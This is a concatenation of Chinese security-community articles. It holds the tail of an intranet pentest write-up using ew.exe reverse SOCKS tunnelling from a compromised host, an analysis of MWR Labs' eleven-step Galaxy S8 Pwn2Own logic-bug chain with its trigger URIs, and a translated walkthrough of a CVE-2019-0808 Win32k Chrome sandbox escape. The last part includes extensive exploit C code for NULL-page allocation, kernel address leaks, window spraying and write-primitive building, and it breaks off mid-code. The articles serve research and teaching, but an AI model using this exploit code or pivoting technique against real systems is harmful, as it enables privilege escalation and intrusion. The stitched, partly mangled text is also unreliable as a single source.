扫描10.10.10.0/24网段下可能存在漏洞的主机，发现我们需要攻击的主机10.10.10.102（此操作需要在刚刚的meterpreter添加路由条目之后，不然会到达不了目标主机）
尝试看看有没有Ms17-010漏洞，发现利用不成功，执行不起来
没有shell这里就就没有用端口转发，做的是反向代理
在攻击机执行
ew.exe -s rcsocks -l 1080 -e 8888
在win2008shell下执行
ew -s rssocks -d 192.168.10.20 -e 8888
代理建立成功
接着用sockscap64工具添加ip和端口（反向代理）
连接内网主机10.10.10.101
输入密码ndsec登录
**总结**
不同的操作系统可能存在版本漏洞、中间件漏洞、组件漏洞、端口服务漏洞等，在渗透测试的过程中可以通过信息收集来获取思路。 | 社区文章 |
原文来自安全客，作者：Sniperhg&MissCoconut@360 Vulpecker Team
原文链接：<https://www.anquanke.com/post/id/149286>
#### 前言
在去年Mobile Pwn2Own上MWR
Labs成功攻破了三星S8，据官方报道整个攻击链总共由11个exp构成，是目前Pwn2Own历史上最长利用链。上周MWR
Labs公开了他们的Slide，在本次攻击中，其高深之处并不在于使用了多少个0day，而是使用的都是系统自带App层面的逻辑漏洞甚至是App特性的一连串的精巧组合而形成的攻击链。本文根据这个slide来对其攻击思路和步骤进行简要分析。
#### 初探
纵观整个利用链，攻击者的代码得以成功执行以及敏感信息得以成功获取，其中最关键的漏洞出现在三星手机自带的应用商店Galaxy Apps中。
由于开发者疏忽，release版本的Galaxy Apps中存在如下遗留的调试代码：
这段代码的作用是为了调试Galaxy
Apps与升级服务器之间的连通性而去加载SD卡上的配置文件（/sdcard/saconfig.ini），为方便本地调试，配置文件中可以手动指定升级服务器地址，配置文件格式如下所示：
攻击者通过指定升级服务器地址，再加上中间人转发请求，可以让Galaxy
Apps安装攻击者指定的任意App。一般我们在平时的审计中，可以写一个App去释放这个配置文件或是直接adb
push配置文件到/sdcard中，但在Pwn2Own比赛环境下，是无法连接USB进行adb
install的，有限的物理接触也仅能进行点击浏览器，打开url等操作。那么这里是如何生成或是释放这个关键的saconfig.ini文件的，以及如何通过浏览器发动这个远程攻击的，笔者就来根据slide大胆猜测一下攻击思路，一步步进行逆向探究。
在探究之前我们先要明确一点：起点入口是三星自带的浏览器SBrowser，最终目标是在Galaxy
S8上执行攻击者的代码并窃取隐私文件。我们从整个利用链的最后一环入手来倒序分析，假定此时Galaxy Apps已经等着配置文件来进行下一步攻击了。
##### Step 1 如何释放saconfig.ini配置文件？
由于代码中硬编码了配置文件路径（/sdcard/saconfig.ini），我们必须在指定目录下生成配置文件，那么该如何生成到指定目录？通过浏览器强制下载？显然不可，下载的文件位于Download目录内。这里利用了Samsung
Notes中的一处Zip解压缩目录穿越漏洞。Samsung
Notes中存在一处导出组件，可加载memo类型的文件，memo类型文件本质上是个zip压缩包，在Samsung
Notes加载memo文件时会调用一个方法去解压这个memo文件，通过解压恶意构造的memo文件来准确释放文件到/sdcard下：
存在漏洞的组件：com.samsung.android.app.notes.composer.ConvertToSdocActivity
这里我们可以猜想memo文件的构成，其中有个文件的路径应该是这样的：`”../../../../../../sdcard/saconfig.ini”`，组合上面代码会产生路径`“/data/data/com.samsung.android.app.notes/cache/unzip_1529565489/../../../../../../sdcard/saconfig.ini”`，这样最终的路径就变成`“/sdcard/saconfig.ini”`了。
##### Step 2 如何让Samsung Notes打开memo文件？
如何打开特定App的特定activity？我们知道平时开发过程中直接使用Context.startActivity()即可，但在比赛环境下，并不能这样方便的执行代码，而且Samsumg
Nots中存在问题的组件，并没有响应`“android.intent.category.BROWSABLE”`action，也无法通过浏览器打开。
所以安全人员这里找了一个跳板——Android Vending，也就是Google
Play应用商店。在这个App中存在一个导出的Activity——LaunchUrlHandlerActivity，可接收外部传入的参数，并打开指定的应用，具体代码如下所示：
并且这个Activity是响应`“android.intent.category.BROWSABLE”`的，意味着我们能通过浏览器利用其自定义协议进行调用。安全人员随后测试了http协议、file协议以及content协议，发现这里只能使用content协议，随后尝试了Chrome的Content
Provider和系统Media
Provider，最终确定了可行的URI：`market://details?url=content://media/external/file/350&id=com.samsung.android.app.notes`
这样Android
Vending会唤起com.samsung.android.app.notes并把`content://media/external/file/{file_id}`作为data传递给Samsung
Notes。
##### Step 3 如何确定file_id？
Step
2中，我们看到URI中有一个`content://media/external/file/{file_id}`，这个`file_id`是不确定的数字，代表的是memo文件在系统
Media Provider里对应的ID，至于如何确定，下面是MWR给出的一段JS代码：
这段JS的意思是从id=300开始向下枚举Meida Provider中的文件，如果文件不存在的话就一直递减，直到出现一个存在的文件正确显示在页面上。
如下图示是上一个下载的文件payload.html：
先取得memo文件将占位的ID（这个时候memo文件还没下载呢），然后保证这个时候手机的外部储存里不会多出任何文件，因为任何文件的出现都会让ID变化。如果发现i=100的时候出现了payload.html页面，那么101就是memo文件将会存在的ID值。
##### Step 4 这段JS由谁执行？
MWR Labs安全人员指出：
由于三星自带的浏览器不支持content协议，所以这里需要用Chrome来加载payload.html，那么如何唤起Chrome？这里利用Chrome的特性即可：
googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html
##### Step 5 payload.html从何而来？
三星浏览器SBrowser支持Content-Type: application/force-download;
，通过配置攻击者的Web服务器使其强制下载payload.html：
经过强制下载后，payload.html是保存在/sdcard/Download下的。巧合的是Chrome中的一个Content
Provider指向路径即为/sdcard/Download，所以这里通过传入：`googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html`即可引导Chrome打开payload.html。
#### 小结
到这里暂时休息整理一下，我们从后往前看，就是从浏览器访问一个页面到释放配置文件的过程了。
结合官方给出的图示：
顺序就是：
1. SBrowser访问index.html，index.html页面里也许使用`<iframe>`嵌入了一个payload.html，这个时候利用force-download特性将payload.html下载到手机里再利用`googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html`唤起Chrome并加载payload.html；
2. 在payload.html中我们枚举出memo文件占位ID，接着请求下载了memo文件，再跳转`market://details?url=content://media/external/file/350&id=com.samsung.android.app.notes`唤起了Android Vending；
3. Android Vending被唤起后发送Intent继而唤醒Samsung Notes访问memo文件进行解压缩释放了配置文件saconfig.ini。
#### 进一步利用
##### Step 6 如何突破比赛时间限制？
进行到这里我们已经有了这个配置文件，虽然配置文件能控制Galaxy Apps的行为去劫持下载，但是由于其使用的是Android Job
Scheduler，Scheduler的执行间隔是15分钟，而比赛的规则是每次尝试只有5分钟时间，所以这里碰到了一个限制需要突破：如何让Scheduler快速执行？
由于Galaxy Apps在启动时会去加载这个配置文件，这里想到了让Galaxy Apps重启。由于Galaxy
Apps是系统应用，会在系统启动时自启动，那么这里面临着两个选择，是选择crash掉一个App还是crash system引起手机重启？MWR
Labs选择了后者。
##### Step 7 如何重启系统？
在这一步的攻击中，利用了系统进程`“com.android.server.telecom”`中的组件`“com.android.server.telecom.components.UserCallActivity”`中存在一处隐藏的空指针异常未捕获的问题：
如果外部直接启动这个Activity不带任何data进来，URI将会为null，null传给getScheme()方法时就会产生空指针异常，系统进程的崩溃意味着系统的崩溃，这个时候手机就会重启，由于Galaxy
Apps会在系统启动时自启动，那么重启手机之后，Galaxy App也会重新启动并加载我们的配置文件。
##### Step 8 如何发送特定Intent？
如何能发送这样一个Intent呢，一个只带包名和组件名，不会填充data数据的Intent？这里利用了另外一个跳板——Samsung Members：
Samsung Members中的导出组件LauncherActivity可在浏览器中使用其自定义协议voc://唤起，并且可传入特定的包名和组件名。
##### Step 9 如何唤醒Samsung Members？
在这一步中，依旧利用Chrome来进行跳转，`“voc://activity/general?packageName=com.android.server.telecom&className=com.android.server.telecom.components.UserCallActivity”`，这个URI会被Samsung
Members所接收到。所以Chrome在整个攻击链中要执行2次打开其他应用的任务，一次是为了唤起Android
Vending跳板，另外一次是为了唤醒Samsung
Members跳板。这里我们能注意到被当作跳板的组件的一个共同点：都响应了`“android.intent.category.browsable”`Action，导致攻击者可以通过浏览器打开进行远程利用，这里对我们来说算是一个小Tips吧，今后的漏洞挖掘工作中，对可通过浏览器打开的组件需要格外关注。
#### 后续利用
##### Step 10 中间人劫持App更新
Galaxy Apps启动后加载配置文件，这个时候就会去请求这个攻击者的中间地址，攻击者再将所有的请求转发给真正的升级服务器<https://uk-odc.samsungapps.com/>，同时也会将服务器的响应返回给手机。
Galaxy Apps进行更新请求时会与服务器产生三次交互：
1. 客户端发送当前所有的App列表给服务器/服务端做出响应告知客户端所有App的最新版本
2. 客户端如果发现版本比自己高的App则请求这个App的最新信息/服务端返回App的包名版本等信息
3. 客户端请求最新App的下载地址等/服务器返回下载地址以及App大小签名等信息
中间人在这里修改了1次请求和3次返回的包，让Galaxy Apps误以为自己手机上的某个App是旧版本的，然后下载了攻击者执行的App进行了安装。
##### Step 11 如何绕过权限申请弹窗？
在Android
6.0及后续版本中，App申请危险权限时，系统会弹出对话框询问用户是否授予其特定权限，这里绕过的方式也很简单，编译apk时将targetSdkVersion设置为18及以下即可。
##### Step 12 如何启动恶意App？
根据slide中的描述，MWR的研究人员也以为到这里就够了，恶意App已经成功安装，还有什么不能做的呢？但是ZDI却要求现场就能运行App并进行敏感数据的窃取等操作。所以这里就涉及到一个问题：Android
3.1以后，新安装的App默认都是停止状态的。
接着研究人员发现，三星对Android Contacts Provider进行了重度修改，在一个App的状态发生改变时，会有一个方法去做一次query查询：
所以在恶意App里创建一个provider，meta-data中写上android.content.ContactDirectory属性为true，则可以在安装上之后，执行provider中的query方法。
到此为止，恶意App成功安装并启动。
#### 总结
经过对整个攻击链的分析，将这么多“不起眼”的逻辑漏洞（或bug）利用起来，居然能从浏览器到代码执行做远程攻击。在这个攻击链中，总共涉及到了6个App、3个系统组件以及系统的总共11个逻辑漏洞（或bug甚至只是特性），我们再来回顾一下：
#### 参考链接
* <https://labs.mwrinfosecurity.com/publications/chainspotting-building-exploit-chains-with-logic-bugs/>
* <https://www.zerodayinitiative.com/advisories/ZDI-18-562/>
* <https://www.zerodayinitiative.com/advisories/ZDI-18-561/>
* <https://www.zerodayinitiative.com/advisories/ZDI-18-560/>
#### 关于Vulpecker Team
360威派克团队（Vulpecker Team）隶属于360信息安全部，负责集团内部移动APP和OS类产品安全攻防，
制定了公司内部安卓产品安全开发规范，自主开发并维护了在线安卓应用安全审计系统-360显危镜。同时团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，截止2018年，累计获得近百个CVE编号和官方致谢，多次在国内外各大安全会议上分享研究成果。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# Windows版“碟中谍”：如何利用Win32k漏洞实现Chrome沙盒逃逸（下）
|
##### 译文声明
本文是翻译文章，文章原作者 exodusintel，文章来源：blog.exodusintel.com
原文地址：<http://blog.exodusintel.com/2019/05/17/windows-within-windows/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在我们的《Windows版“碟中谍”：如何利用Win32k漏洞实现Chrome沙盒逃逸（上）》这篇文章中，我们对近期修复的一个Win32k漏洞（CVE-2019-0808）进行了分析，在给出了针对该漏洞的PoC代码之后，我们还对这份PoC代码及其核心组件进行了深入分析。那么在这篇文章中，我们将跟大家详细介绍如何利用这个Chrome沙盒漏洞，并详细介绍漏洞利用过程中的每一个步骤。
## Chrome沙盒漏洞利用解析
### 针对Chrome沙盒创建DLL针对Chrome沙盒创建DLL
在此之前，研究人员James
Forshaw在他的博文中曾提到过，Chrome沙盒是无法注入任何DLL的。由于沙盒限制，DLL必须以特定的方法创建，而且沙盒不会加载任何其他的代码库或manifest文件。
为了实现这个目标，我们选择使用Visual
Studio项目来实现PoC，并将项目类型设置为DLL，而不是EXE。接下来，在C++编译器设置中，使用多线程运行库，并设置Visual
Studio不生成manifest文件。
完成之后，Visual Studio就可以通过漏洞（CVE-2019-5786或其他DLL注入技术）来在Chrome沙盒中生成并加载DLL了。
### 理解现有的限制写入原语
首先，我们需要了解限制写入原语，它可以帮助攻击者成功设置一个NULL页面，这也是利用该漏洞的基础。漏洞触发后，win32k.sys中的xxxMNUpdateDraggingInfo()将会被调用，如果NULL页面设置正确，那么xxxMNUpdateDraggingInfo()将会调用xxxMNSetGapState()，相关代码如下：
`void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags,
BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the
first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1);
// Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).
...`
``xxxMNSetGapState()会向攻击者控制的位置（偏移量+4）执行两次写入操作，这两次的区别是数据写入的位置比之前的靠前了0x6C字节。而且，写入使用的是OR操作，这也就意味着攻击者只需要向DWORD值中添加bit即可，而且无法删除或修改之前的位数据。
根据我们的观察，攻击者如果想实现Chrome沙盒逃逸的话，他们还需要使用更加强大的写入原语。因此，这里可以使用限制写入原语和tagWND对象来实现更加强大的写入原语。
### 分配NULL页面
在PoC代码中，main()函数可以从ntdll.dll中获取NtAllocateVirtualMemory()的地址，并将其存储在变量pfnNtAllocateVirtualMemory中。完成后，代码会调用allocateNullPage()来分配NULL页面，地址为0x1，权限包含读、写和可执行。接下来，地址0x1会通过NtAllocateVirtualMemory()来自减，并靠近页面边界，此时攻击者将能够分配地址为0x0的内存。
`typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0;
....
pfnNtAllocateVirtualMemory =
(NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"),
"NtAllocateVirtualMemory");
....
// Thanks to
https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56
for
// explaining this in an example along with the finer details that are often
forgotten.
bool allocateNullPage() {
/* Set the base address at which the memory will be allocated to 0x1.
This is done since a value of 0x0 will not be accepted by
NtAllocateVirtualMemory,
however due to page alignment requirements the 0x1 will be rounded down to 0x0
internally.*/
PVOID BaseAddress = (PVOID)0x1;
/* Set the size to be allocated to 40960 to ensure that there
is plenty of memory allocated and available for use. */
SIZE_T size = 40960;
/* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0
with the size
specified in the variable size. Also make sure the memory is allocated with
read, write,
and execute permissions.*/
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(),
&BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
// If the call to NtAllocateVirtualMemory failed, return FALSE.
if (result != 0x0) {
return FALSE;
}
// If the code reaches this point, then everything went well, so return TRUE.
return TRUE;
}`
### 利用窗口对象创建任意内和地址写入原语
首先，攻击者需要获取到HMValidateHandle()的地址，而HMValidateHandle()的作用就是帮助攻击者获取用户态的拷贝对象。相关代码如下：
`HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");
// Find the address of HMValidateHandle using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
printf("[!] Couldn't locate the address of HMValidateHandle!rn");
ExitProcess(-1);
}
...
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
// The address of the function HMValidateHandleAddress() is not exported to
// the public. However the function IsMenu() contains a call to
HMValidateHandle()
// within it after some short setup code. The call starts with the byte xEB.
// Obtain the address of the function IsMenu() from user32.dll.
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenuFunction == NULL) {
printf("[!] Failed to find the address of IsMenu within user32.dll.rn");
return FALSE;
}
else {
printf("[*] pIsMenuFunction: 0x%08Xrn", pIsMenuFunction);
}
// Search for the location of the xEB byte within the IsMenu() function
// to find the start of the indirect call to HMValidateHandle().
unsigned int offsetInIsMenuFunction = 0;
BOOL foundHMValidateHandleAddress = FALSE;
for (unsigned int i = 0; i > 0x1000; i++) {
BYTE* pCurrentByte = pIsMenuFunction + i;
if (*pCurrentByte == 0xE8) {
offsetInIsMenuFunction = i + 1;
break;
}
}
// Throw error and exit if the xE8 byte couldn't be located.
if (offsetInIsMenuFunction == 0) {
printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.rn");
return FALSE;
}
// Output address of user32.dll in memory for debugging purposes.
printf("[*] hUser32: 0x%08Xrn", hUser32);
// Get the value of the relative address being called within the IsMenu()
function.
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int
*)(pIsMenuFunction + offsetInIsMenuFunction);
printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08Xrn",
relativeAddressBeingCalledInIsMenu);
// Find out how far the IsMenu() function is located from the base address of
user32.dll.
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction
- (unsigned int)hUser32);
printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08Xrn",
addressOfIsMenuFromStartOfUser32);
// Take this offset and add to it the relative address used in the call to
HMValidateHandle().
// Result should be the offset of HMValidateHandle() from the start of
user32.dll.
unsigned int offset = addressOfIsMenuFromStartOfUser32 +
relativeAddressBeingCalledInIsMenu;
printf("[*] offset: 0x%08Xrn", offset);
// Skip over 11 bytes since on Windows 10 these are not NOPs and it would be
// ideal if this code could be reused in the future.
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
printf("[*] pHmValidateHandle: 0x%08Xrn", pHmValidateHandle);
return TRUE;
}`
获取到HMValidateHandle()的地址之后，PoC代码将会调用sprayWindows()函数，它的作用就是使用RegisterClassExW()来注册一个名叫sprayWindowClass的窗口类，这个类可以调用攻击者定义的窗口进程sprayCallback()。此时，将会创建一个名叫hwndSprayHandleTable的HWND表，并调用CreateWindowExW()在0x100创建sprayWindowClass类的tagWND对象，然后将处理函数存储到hwndSprayHandle表中。每一个tagWND对象的内核地址都会存储在tagWND对象的pSelf域中。下面给出的是sprayWindows类的数据结构：
/ The following definitions define the various structures
needed within sprayWindows() /
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address of the object
} THRDESKHEAD, *PTHRDESKHEAD;
….
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
printf(“[!] Couldn’t find two tagWND objects less than 0x3fd00 apart in memory after the spray!rn”);
ExitProcess(-1);
}
….
// Define the HMValidateHandle window type TYPE_WINDOW appropriately.
define TYPE_WINDOW 1
/ Main function for spraying the tagWND objects into memory and finding two
that are less than 0x3fd00 apart /
bool sprayWindows() {
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
// Create and set up the window class for the sprayed window objects.
WNDCLASSEXW sprayClass = { 0 };
sprayClass.cbSize = sizeof(WNDCLASSEXW);
sprayClass.lpszClassName = TEXT(“sprayWindowClass”);
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed
// window objects to sprayCallback().
if (RegisterClassExW(&sprayClass) == 0) {
printf(“[!] Couldn’t register the sprayClass class!rn”);
}
// Create 0x100 windows using the sprayClass window class with the window name “spray”.
for (int i = 0; i < 0x100; i++) {
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT(“spray”), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
}
// For each entry in the hwndSprayHandle table…
for (int x = 0; x < 0x100; x++) {
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
THRDESKHEAD firstEntryDesktop = (THRDESKHEAD )pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
// Then start a loop to start comparing the kernel address of this hWND
// object to the kernel address of every other hWND object…
for (int y = 0; y < 0x100; y++) {
if (x != y) { // Skip over one instance of the loop if the entries being compared are
// at the same offset in the hwndSprayHandleTable
// Leak the kernel address of the second hWND object being used in
// the comparison, save it into secondEntryAddress.
THRDESKHEAD secondEntryDesktop = (THRDESKHEAD )pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
// If the kernel address of the hWND object leaked earlier in the code is greater than
// the kernel address of the hWND object leaked above, execute the following code.
if (firstEntryAddress > secondEntryAddress) {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
printf(“[] Primary window address: 0x%08Xrn”, secondEntryAddress);
printf(“[] Secondary window address: 0x%08Xrn”, firstEntryAddress);
// Save the handle of secondEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[y];
primaryWindowAddress = secondEntryAddress;
// Save the handle of firstEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[x];
secondaryWindowAddress = firstEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
// If the kernel address of the hWND object leaked earlier in the code is less than
// the kernel address of the hWND object leaked above, execute the following code.
else {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
printf(“[] Primary window address: 0x%08Xrn”, firstEntryAddress);
printf(“[] Secondary window address: 0x%08Xrn”, secondEntryAddress);
// Save the handle of firstEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[x];
primaryWindowAddress = firstEntryAddress;
// Save the handle of secondEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[y];
secondaryWindowAddress = secondEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
}
}
// Check if the inner loop ended and the windows were found. If so print a debug message.
// Otherwise continue on to the next object in the hwndSprayTable array.
if (hPrimaryWindow != NULL) {
printf(“[] Found target windows!rn”);
break;
}
}
接下来，其他窗口会使用DestroyWindow()实现自毁，并释放主机操作系统的资源：
// Check that hPrimaryWindow isn’t NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
printf(“[!] Couldn’t find the right windows for the tagWND primitive. Exiting….rn”);
return FALSE;
}
// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p > 0x100; p++) {
HWND temp = hwndSprayHandleTable[p];
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
DestroyWindow(temp);
}
}
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to
// primaryWindow’s cbwndExtra field.
printf(“[] Destroyed spare windows!rn”);
// Check if its possible to set the window text in hSecondaryWindow.
// If this isn’t possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L”test String”) == 0) {
printf(“[!] Something is wrong, couldn’t initialize the text buffer in the secondary window….rn”);
return FALSE;
}
else {
return TRUE;
}
最后，为了让PoC代码知道限制写入原语的位置，sprayWindows()还会设置addressToWrite并将地址写入至primaryWindowAddress的cbwndExtra域中。下图显示的是hPrimaryWindow中cbwndExtra域的修改情况：
通过执行功能更强的写入原语，攻击者将能够控制内核地址的值，这是实现沙盒逃逸的关键。下面给出的是WinDBG中查看到的tagWND对象，这也是非常关键的：
1: kd> dt -r1 win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
…
+0x084 strName : _LARGE_UNICODE_STRING
+0x000 Length : Uint4B
+0x004 MaximumLength : Pos 0, 31 Bits
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr32 Uint2B
+0x090 cbwndExtra : Int4B
…
### 在内存中设置NULL页面
为了正确设置NULL页面，必须填充下列偏移量：
`0x20
0x34
0x4C
0x50 to 0x1050`
具体内容如下图所示：
漏洞利用代码会将NULL页面中偏移量0x20填充0xFFFFFFFF，此时的spMenu会被设置为NULL，所以spMenu->cItems将包含NULL页面偏移量0x20的值。相关代码如下:
`tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer
dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}`
NULL页面偏移量0x34所包含的DWORD值为spMenu->rgItemsd的值，而xxxMNUpdateDraggingInfo()将会利用这些偏移量来进行进一步操作：
`.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
.text:BF975EA3 ;
.text:BF975EA3 ; Should set EAX to 0 or NULL.
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be
the
.text:BF975EA6 ; value at address 0x4C given that
.text:BF975EA6 ; ppopupmenu->spmenu is NULL.
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
.text:BF975EAA call MNGetpItemFromIndex
..............
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
.text:BF975EBA ;
.text:BF975EBA ; pItemFromIndex->yItem will be the value
.text:BF975EBA ; at offset 0x28 of whatever value
.text:BF975EBA ; MNGetpItemFromIndex returns.
...............
.text:BF975ECE cmp ecx, ebx
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following
.text:BF975ED0 ; condition is true:
.text:BF975ED0 ;
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y -pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) >
(pItem->yItem + SYSMET(CYDRAG))`
### 利用限制写入原语创建更加强大的写入原语
NULL页面设置完成之后，SubMenuProc()将会把hWndFakeMenu返回给xxxMNFindWindowFromPoint()中的xxxSendMessage()，并继续执行：
`memset((void *)0x50, 0xF0, 0x1000);
return (ULONG)hWndFakeMenu;`
在调用xxxSendMessage()之后，xxxMNFindWindowFromPoint()将会调用HMValidateHandleNoSecure()来确保hWndFakeMenu成为了窗口对象的处理器。相关代码如下所示：
`v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); //
Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate
that the returned handle
// is a handle to a window object.
// Set v1 to TRUE if all is good.`
如果hWndFakeMenu是一个窗口对象的有效处理器，那么xxxMNSetGapState()将会被执行，然后将primaryWindow中的cbwndExtra域设置为0x40000000。
`void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags,
BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the
first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1);
// Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).`
xxxMNSetGapState()中的内核写入操作完成之后，代码将会发送窗口消息0x1E5，更新后的漏洞利用代码如下：
`else {
if ((cwp->message == 0x1E5)) {
UINT offset = 0; // Create the offset variable which will hold the offset from
the
// start of hPrimaryWindow's cbwnd data field to write to.
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); //
Set
// addressOfStartofPrimaryWndCbWndData to the address of
// the start of hPrimaryWindow's cbwnd data field.
// Set offset to the difference between hSecondaryWindow's
// strName.Buffer's memory address and the address of
// hPrimaryWindow's cbwnd data field.
offset = ((secondaryWindowAddress + 0x8C) -addressOfStartofPrimaryWndCbWndData);
printf("[*] Offset: 0x%08Xrn", offset);
// Set the strName.Buffer address in hSecondaryWindow to
(secondaryWindowAddress + 0x16),
// or the address of the bServerSideWindowProc bit.
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) ==
0) {
